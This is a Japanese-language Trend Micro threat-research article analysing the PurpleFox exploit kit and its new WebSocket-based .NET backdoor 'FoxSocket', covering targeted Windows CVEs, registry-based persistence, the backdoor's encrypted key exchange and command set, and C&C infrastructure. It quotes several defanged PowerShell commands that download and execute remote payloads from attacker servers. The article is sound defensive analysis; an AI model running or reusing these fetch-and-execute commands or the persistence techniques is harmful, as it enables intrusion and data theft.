エクスプロイト&脆弱性
脆弱性攻撃ツール「PurpleFox」のWebSocketを悪用する新たなバックドア手口を解説
2021年9月、トレンドマイクロのManaged XDR(MDR)チームは、脆弱性攻撃ツール「PurpleFox」のオペレータに関連する不審な活動を調査しました。調査の結果、攻撃活動に用いるために追加された脆弱性(CVE-2021-1732)や、最適化されたルートキット機能を含め、更新されたPurpleFox攻撃の手法を調査することにつながりました。
2021年9月、トレンドマイクロのManaged XDR(MDR)チームは、脆弱性攻撃ツール「PurpleFox」のオペレータに関連する不審な活動を調査しました。調査の結果、攻撃活動に用いるために追加された脆弱性(CVE-2021-1732)や、最適化されたルートキット機能を含め、更新されたPurpleFox攻撃の手法を調査することにつながりました。
さらに当チームでは、侵入活動中に埋め込まれた.NETで書かれた新種のバックドア型マルウェアを発見しました。このバックドアは、PurpleFoxとの関連性が高いと考えられます。トレンドマイクロが「FoxSocket」と呼称するこのバックドアは、WebSocketを悪用してコマンド&コントロール(C&C)サーバとの通信のやり取りを行うため、通常のHTTPトラフィックに比べてより強固で安全な通信手段となっています。
トレンドマイクロは、この特定の脅威が今も中東のユーザを狙っていると推測しています。この攻撃手口は、中東地域のお客様を通じて初めて発見されました。トレンドマイクロは現在、世界の他の地域でもこの脅威が検出されているかどうかを調査中です。
本ブログ記事では、最初に配信されるPurpleFoxのペイロードで観測されたいくつかの変更点に加えて、新たに埋め込まれた.NETバックドアや、これらの機能を配信するC&Cサーバのインフラストラクチャについて解説します。
■ 脆弱性攻撃ツール「PurpleFox」の機能と技術的分析
PowerShell
PurpleFoxの不正活動は、以下のPowerShellコマンドのいずれかが実行されることで開始します。
- “cmd.exe” /c powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘hxxp[[:]]//103.228.112.246[[:]]17881/57BC9B7E.Png’);MsiMake hxxp[[:]]//103.228.112.246[[:]]17881/0CFA042F.Png”
- “cmd.exe” /c powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http[:]//117.187.136.141[:]13405/57BC9B7E.Png’);MsiMake http[:]//117.187.136.141[:]13405/0CFA042F.Png”
これらのコマンドは、複数の侵害されたサーバ上にホストされている特定のURLから悪意のあるペイロードをダウンロードします。これらのサーバは、PurpleFox攻撃により構築されたボットネットの一部であり、そのほとんどが中国国内にあります(表1)。
表1:PurpleFoxによって侵害されたサーバの所在地
国名 | サーバ数 |
中国 | 345 |
インド | 34 |
ブラジル | 29 |
米国 | 26 |
その他 | 113 |
これらのサーバから取り出されたペイロードは、以下の3つのコンポーネントで構成される長いスクリプトです。
- Tater (Hot Potato – 権限昇格)
- PowerSploit
- 埋め込まれた脆弱性攻撃ツール(エクスプロイト)に同梱されたバイナリ(権限昇格)
このスクリプトは、64ビットアーキテクチャのシステムを標的としており、まず初めに、標的システムのWindowsのバージョンおよび攻撃対象となる脆弱性に対するホットフィックス(修正プログラム)の適用状況を確認します。
- Windows 7 / Windows Server 2008
- CVE-2020-1054 (KB4556836、KB4556843)
- CVE-2019-0808 (KB4489878、KB4489885、KB2882822)
- Windows 8 / Windows Server 2012
- CVE-2019-1458 (KB4530702、KB4530730)
- Windows 10 / Windows Server 2019
- CVE-2021-1732 (KB4601354、KB4601345、KB4601315、KB4601319)
攻撃に適した脆弱性を選択した後、このスクリプトはPowerSploitモジュールを使用して、攻撃対象である脆弱性やMSIコマンドを引数として用いることで、埋め込まれたエクスプロイトに同梱されたバイナリを読み込みます。
この動作における目的は、ユーザの操作なしに管理者としてMSIパッケージをインストールすることです。
MSIパッケージ
インストールされたMSIパッケージは、以下のレジストリキーを削除することから始めます。これらは、過去にインストールされた古いPurpleFoxにより設定されたレジストリキーであり、存在する場合は削除されます。
- HKLM\SYSTEM\CurrentControlSet\Services\{ac00-ac10}
次にMSIパッケージは、PurpleFoxのバックドアコンポーネント(dbcode21mk.logおよびsetupact64.log)をWindowsディレクトリにインストールします。その後、「HKLM_SYSTEM_CurrentControlSet_Session Manager」というキーに2つのレジストリ値を設定します。
- AllowProtectedRenamesの値を0x1
- PendingFileRenameOperationsを以下に変更します。
\??\C:\Windows\AppPatch\Acpsens.dll
\??\C:\Windows\system32\sens.dll
\??\C:\Windows\AppPatch\Acpsens.dll
\??\C:\Windows\system32\sens.dll
\??\C:\Windows\setupact64.log
\??\C:\Windows\system32\sens.dll
これらのコマンドは、sens.dllをC:\Windows\AppPatch\Acpsens.dllに移動し、インストールされたファイル「setupact64.log」と置き換えます。
その後、MSIパッケージは、.vbsスクリプトを実行して、ポート番号135、139、445上での受信接続をブロックするためのWindowsファイアウォールルールを作成します。最後のステップとして、PendingFileRenameOperations(起動時にファイル名を変更するレジストリ値)を反映するために感染システムを再起動してsend.dllに置き換えることで、マルウェアをシステムイベント通知サービス(SENS)として実行させます。
脆弱性攻撃ツール「PurpleFox」に新たに追加されたバックドア
インストールされたマルウェアは、仮想環境向けバックアップツール「VMProtect」で保護された.dllファイルです。このマルウェアは、MSIパッケージによってインストールされた他のデータファイルを使用し、自身の機能のために様々なDLLを解凍して手動で読み込みます。さらにこのマルウェアは、ルートキットドライバを備えています。このドライバもまた、データファイルから解凍され、自身のファイル、レジストリキー、プロセスを隠蔽するために使用されます。この検体は、まず自身を別のファイルにコピーして新たなサービスをインストールした後、元のsens.dllファイルを復元します。その後、自身のファイルやレジストリを隠匿するためにドライバを読み込み、32ビットのDLLである自身のコードモジュールを挿入(インジェクション)するために、32ビットのプロセスシーケンスを生成してインジェクションします。
■ WebSocketを悪用する.NETバックドア
初期配信
このバックドアを取得するための最初の活動は、それより前に実行されたPurpleFox攻撃により侵害された該当のサーバへの侵入の試みが確認されてから3日後に発見しました。Trend Micro Vision One™プラットフォームは、以下の不審なPowerShellコマンドが攻撃手法として用いられていると記録しました。
- “cmd.exe” /c powershell -c “iex((new-object Net.WebClient).DownloadString(‘hxxp[:]//185.112.144.245/a/1’))”
- “cmd.exe” /c powershell -c “iex((new-object Net.WebClient).DownloadString(‘hxxp[:]//185.112.144.245/a/2’))”
- “cmd.exe” /c powershell -c “iex((new-object Net.WebClient).DownloadString(‘hxxp[:]//185.112.144.245/a/3’))”
- “cmd.exe” /c powershell -c “iex((new-object Net.WebClient).DownloadString(‘hxxp[:]//185.112.144.245/a/4’))”
- “cmd.exe” /c powershell -c “iex((new-object Net.WebClient).DownloadString(‘hxxp[:]//185.112.144.245/a/5’))”
- “cmd.exe” /c powershell -c “iex((new-object Net.WebClient).DownloadString(‘hxxp[:]//185.112.144.245/a/8’))”
- “cmd.exe” /c powershell -c “iex((new-object Net.WebClient).DownloadString(‘hxxp[:]//185.112.144.245/a/9’))”
トレンドマイクロは、185[.]112.144.245/a/[1-9]のバリエーションのURL上にホストされているペイロードを解析したところ、すべてのURLが、.NETバックドアのメインダウンローダとして機能する別のPowerShellスクリプト2つを配信していることを発見しました。
観測された2つのPowerShellスクリプトの違いは、Base64でエンコードされたデータ内にありました。このデータは、185[.]112[.]144[.]45/a/dataからダウンロードされた.NETバックドアに引数として渡され、最終的に構成パラメータと一緒に呼び出されました。トレンドマイクロは、2つの異なる構成パラメータが使用されていることを発見しました。トレンドマイクロは、最初の構成パラメータを2021年8月26日に観測し、より多くのドメインが埋め込まれた2つ目の構成パラメータを同年8月30日に観測しました。Base64でエンコードされた構成パラメータをデコードした結果を以下に示します。
これらの構成パラメータは、C&Cサーバを選択したり、C&Cチャネルの暗号化機能を初期化したりと、.NETバックドアが実行する初期化活動によって使用されます。構成とは別に、ペイロード自体は「185.112.144[.]45/a/data」から取得されます。さらにトレンドマイクロは、同年6月22日までさかのぼり、最近観測された亜種よりも機能が少ない古い亜種をいくつか発見しました。
古い亜種を展開する初期段階では、悪意のあるドメインadvb9fyxlf2v[.]comの作成データと一致しており、構成パラメータにおいては、最近確認された亜種に比べ、C&Cサーバとの通信のやり取りを行うためのサブドメインの数が最小限に抑えられていました。
■ .NETバックドアに施された難読化
まず、SQLサーバ上に作成されたバックドアの分析から見ていきます。このバックドアを逆コンパイルすると、難読化されたシンボルを出力しますが、これらの多くは元のシンボルに復元することができませんでした。基本的な静的解析を実行するには、これらのシンボルを人間が読める状態にするだけで十分です。時には、元の名前の一部を復元できることもあります。
マルウェアではめったに見られない注目すべき特徴の1つは、C&Cサーバとの通信のやり取りにWebSocketを悪用することで、感染したクライアントとC&Cサーバ間での効率的な双方向チャネルを実現していることです。
WebSocketとは、単一のTCPコネクションだけを通じて、クライアントとサーバの間で交換されるデータストリームをサポートする通信技術のことです。この技術は、HTTPなどの従来のリクエスト/レスポンス・プロトコルとは異なります(図8)。攻撃者はWebSocketを悪用することで、HTTPリクエストやレスポンスのトラフィックに代わる、より隠密性の高いトラフィックを得ることができるほか、検出される可能性の低い、より秘匿性の高い情報送出の機会を得ることができます。
バックドアは、C&CサーバとのWebSocket通信を初期化し、TCP接続を維持するためにkeepAliveメッセージを送信することで、WebSocket通信を開いたままにします。これが確立されると、感染システムと選択したC&Cサーバとの間で一連の双方向メッセージが交換され、コネクションにおける暗号鍵の交渉(キーネゴシエーション)が行われます。
WebSocketを初期化し、4つのコールバック関数をWebSocketイベントのハンドラとして登録することで暗号鍵の交渉が実行されます。
関連するコールバック関数の1つがonOpenです。これは、WebSocketオブジェクトが初めて起動されると、C&Cチャネルの暗号化パラメータを初期化します。次のセクションに示すように、これは主に、C&Cサーバとの最初のDiffie-Hellman(DH)鍵交換メッセージを実装するためのものです。一方、onReceiveハンドラは、安全な通信チャネルが確立されて、暗号化に用いるセッション鍵が更新されたときに、C&Cサーバから受信したすべてのコマンドを処理して実行権を渡します。
■ WebSocket通信における暗号鍵の交渉
図11に示すように、C&Cサーバとの最初の鍵交換は、登録されたコールバック関数「onOpen」によって実行されます。
この関数は、EC DHオブジェクトをいくつかのパラメータで初期化して、共有秘密鍵の交渉を開始します。次に、ECDiffieHellmanKeyDerivationFunctionプロパティがHashに設定されます。このプロパティは、ECDiffieHellmanCngクラスが秘密協定をキーマテリアルに変換する際に使用する鍵導出関数を指定するためのもので、キーマテリアルの生成には(HMACやTLSの代わりに)ハッシュアルゴリズムを使用します。
その後クライアントは、プロパティ「PublicKey」の送信を試みます。このプロパティは、C&Cサーバ側の別のECDiffieHellmanCngオブジェクト上で使用され、共有の秘密協定を生成します。最終的にこのデータは、最初の鍵交換メッセージとしてWebSocket上で送信されます。しかし、まだ共有秘密が確立されていないため、クライアントは平文で送信する代わりに、最初の鍵交換で使用するWebSocket上のすべての通信に対して対象鍵暗号方式(AES)を導入しています。AES暗号化は、最初の鍵交換で使用するためのデフォルト鍵を生成します。
これにより鍵交換メッセージは、図14に示すパラメータを使用してAESで暗号化されます。さらに、176バイトの固定長の実際のAES暗号テキストを使って、次のデバッグセッションでbyte_0という名前のダミー鍵(111….11)[32]が生成されます。
暗号化された176バイトは、WebSocket経由で送信される実際のデータです。これで最初の鍵交換メッセージが終了します。
■ 2回目の鍵交換(C&Cサーバから感染システムへ)
2回目の鍵交換メッセージは、C&Cサーバからクライアントに送信され、onReceive関数によって処理されます。onReceive関数の実行は、メッセージハンドラによって呼び出されます。
このAESで暗号化された2回目の鍵交換メッセージは、304バイトの固定長です。
次に、この受信メッセージがコントロールプレーンの鍵の確立に関連するものか、通常のデータコマンドに関連するものかを確認します。
前者に関連するものであれば、まずC&Cチャネル上で対称暗号を復号し、ECDH導出関数method_7に実行を渡して共有秘密の生成を完了します。
クライアントは、上記のセクションで示した構成ペイロードから読み込んだRSA公開鍵を読み込むことで、署名されたメッセージを検証します。署名が正しく検証されると、DH交換から鍵材料が取得され、WebSocketチャネルがアクティブである限り使用される永続的な対称暗号鍵(AES)(Symmetric_AES_key変数)として保存されます。
■ 3回目の鍵交換(感染システムからC&Cサーバへ)
WebSocket経由で効率的な暗号化されたコネクションが確立されると、クライアントは、特定のデータ(ユーザ名、システム名、ローカルIP、MACアドレス、Windowsのバージョンなど)を抽出して感染システムのフィンガープリント(拇印)を作成します。そして、これらのデータを安全なチャネル経由で中継し、C&Cサーバ側で感染システムから収集した情報を取得します。これは、WebSocketチャネルが完全に確立される前に行われる最後の鍵交換です。その後C&Cサーバは、次のセクションで説明する追加のコマンドを待機します。
収集される拇印のデータは実行環境ごとに異なるため、鍵交換メッセージの長さもさまざまです。当該調査では、新たに生成された共有秘密鍵を含めた鍵交換メッセージは240バイトでした。
上記の通り、KeepAliveメッセージを使ってWebSocketが維持されている限り、オペレータは任意のコマンドを実行するように信号を送ることができるため、次に何が起こるかは主に攻撃目的とオペレータの実際の動機に依存します。
■WebSocket経由で送信されるコマンド
このセクションでは、C&Cサーバから送信されているのが観測されたコマンドのいくつかを解説します。以下の表2に示すコマンド番号およびサポートされている機能に関しては、URLのバリエーション間で若干の違いがあります。
コマンドの処理はすべて、メインのonReceiveハンドラの実行権を渡す動作に実装されています(鍵交渉または暗号鍵の再交渉に使用されるコマンド160を除く)。
表2:コマンドの一覧
コマンドコード | 機能性 |
20 | 感染システム上の現在の日付を送信する |
30 | すべてのドライブに対するDriveInfo.GetDrives()の結果情報を流出させる |
40 | 特定のディレクトリに対するDirectoryInfo()の結果情報を流出させる |
50 | 特定のファイルに対するFileInfo()の結果情報を流出させる |
60 | 再帰的にディレクトリを検索する |
70 | WMIクエリを実行する – ManagementObjectSearcher() |
80 | WebSocketコネクションを終了する |
90 | プロセスを終了する |
100 | 新たなプロセスを生成する |
110 | 特定のURLから感染システムへのさらなるデータをダウンロードする |
120 | 感染システムからDNSルックアップを実行する |
130 | 感染システムから特定のファイルコンテンツを流出させる |
140 | 特定の場所に新たなコンテンツを書き込む |
150 | データをダウンロードして特定のファイルに書き込む |
160 | 対称暗号に用いるセッション鍵を再交渉する |
180 | 現在のプロセスID/プロセス名を取得する |
210 | .NETバックドアの構成パラメータを返す |
220 | プロセスを強制終了し、別の構成で新たなプロセスを開始する |
230 | プロセスIDを持つ特定のプロセスを強制終了する |
240 | バックドア内部のオブジェクトに含まれるプロパティを照会する |
260 | リクエストされた特定のファイルのハッシュをいくつか流出させる |
270 | プロセスIDの一覧表示を強制終了する |
280 | リクエストされたファイル/ディレクトリの一覧を削除する |
290 | ファイル/ディレクトリの一覧を別の場所に移動させる |
300 | 特定の場所に新たなディレクトリを作成する |
■ WebSocketを悪用するC&Cインフラストラクチャ
当該調査時点では、WebSocketクライアントを制御する複数のアクティブなC&Cサーバが確認されました。トレンドマイクロは、感染システムをプロファイリングし、送信されたさまざまなコマンドを介してC&Cサーバと対話することで、PowerShellダウンローダおよびバックドアの構成パラメータ内で確認されたIPアドレスや登録されたドメインの一覧を作成することができました(表3)。
表3:PowerShellダウンローダやバックドアの構成パラメータ内で確認された
IPアドレスなどの一覧
IPアドレス | 説明 | ASN | 注目すべき不正活動が観測された国 |
185.112.144.245 | (PowerShellペイロードをホストしているサーバ、 /a/[1-9]) (.Netバックドアのペイロードをホストしているサーバ、 /a/data) |
AS 44925 ( 1984 ehf ) | イラク、サウジアラビア、トルコ、アラブ首長国連邦 |
---|---|---|---|
185.112.147.50 | C&Cサーバ | トルコ、米国、アラブ首長国連邦 | |
185.112.144.101 | トルコ | ||
93.95.226.157 | 米国 | ||
93.95.228.163 | 米国 | ||
93.95.227.183 | – | ||
93.95.227.169 | アラブ首長国連邦 | ||
93.95.227.179 | – | ||
185.112.146.72 | C&Cサーバと考えられるサーバ | – | |
185.112.146.83 | – |
.NETバックドアは、構成データからランダムに1つのサブドメインを選択し、WebSocketを介して接続を試みます。ポート番号12345上での接続に失敗した場合は、別のサブドメインを名前解決しようと試みます。
図20:ランダムに選択されるC&Cサーバの例
これらのC&Cサーバで使用されるメインドメイン「advb9fyxlf2v[.]com」は、初めて亜種が観測されてからわずか数日後の2021年6月17日に登録されたもので、主に、複数のアクティブなサーバ間での負荷分散の目的に使用されていると推測しています。
■ まとめ
PurpleFoxは最適化されたルートキット機能により、高いステルス性を持って目的を遂行することができるようになりました。これによりPurpleFoxは、感染システム上での持続的な活動が可能となり、感染システムにさらなるペイロードを配信することもできます。トレンドマイクロでは、これらの新たな亜種や不正なペイロードを引き続き監視しています。新たに発見されたWebSocketを悪用する.NETバックドア「FoxSocket」(トレンドマイクロ製品ではBackdoor.MSIL.PURPLEFOX.AAとして検出)は、PurpleFoxの背後にいるオペレータの意図や攻撃活動の目的に関する詳細情報を発見するために綿密に監視されています。
■ トレンドマイクロの対策
「Trend Micro XDR」は高度な分析と人工知能(AI)技術を使用して、エンドポイント、メール、ネットワークなどのアラートを相関させ、一つの防御ポイントの情報だけではわからないような脅威を可視化し、深刻度のレベルに応じて優先順位を付けます。これにより、企業は攻撃がどのように開始され、どの程度拡散しているかを迅速に把握でき、被害を最小化することができます。
「Trend Micro Vision One™」は、XDR(Extended Detection and Response)ソリューションを超える付加価値と新たなメリットを提供し、企業が「より多くを把握し、迅速に対応する」という目的を実現する脅威防御のプラットフォームです。メール、エンドポイント、サーバ、クラウドワークロード、ネットワークといった複数のセキュリティレイヤーにまたがる情報を収集し、自動的に相関させる深く幅広いXDR機能を提供する「Trend Micro Vision One™」は、自動化された防御機能によって攻撃の大半を防ぐことが可能となります。
■ 侵入の痕跡(Indicators of Compromise、IoC)
今回の記事に関する侵入の痕跡は、こちらを参照してください。
参考記事:
- 「PurpleFox Adds New Backdoor That Uses WebSockets」
by Abdelrhman Sharshar, Jay Yaneza, Sherif Magdy